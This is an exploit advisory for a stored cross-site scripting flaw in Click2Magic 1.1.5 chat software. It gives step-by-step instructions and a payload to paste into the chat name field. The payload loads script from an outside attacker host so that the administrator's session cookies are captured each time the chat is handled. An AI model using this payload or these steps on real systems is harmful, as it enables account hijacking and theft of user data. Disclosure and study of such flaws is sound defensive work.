21 lines
No EOL
866 B
Text
21 lines
No EOL
866 B
Text
# Exploit Title: Click2Magic 1.1.5 - Stored Cross-Site Scripting
|
|
# Exploit Author: Shivam Verma(cyb3r_n3rd)
|
|
# Date: 2020-12-25
|
|
# Google Dork: N/A
|
|
# Vendor Homepage: https://www.click2magic.com/user/agent/index
|
|
# Software Link: https://www.click2magic.com
|
|
# Version: 1.1.5
|
|
# Category: Web Application
|
|
# Tested on: Kali Linux
|
|
|
|
Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Chat section each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data
|
|
|
|
Step 1. visit the link
|
|
Step 2. Start a new Chat
|
|
Step 3. When ask for name paste your Xss Payload
|
|
Step 4. Wait for the Administrator to click on Your link
|
|
Step 5. You will receive Admin Cookie Everytime he Process the Request
|
|
|
|
---
|
|
|
|
XSS Payload: "><script src=https://.xss.ht></script> |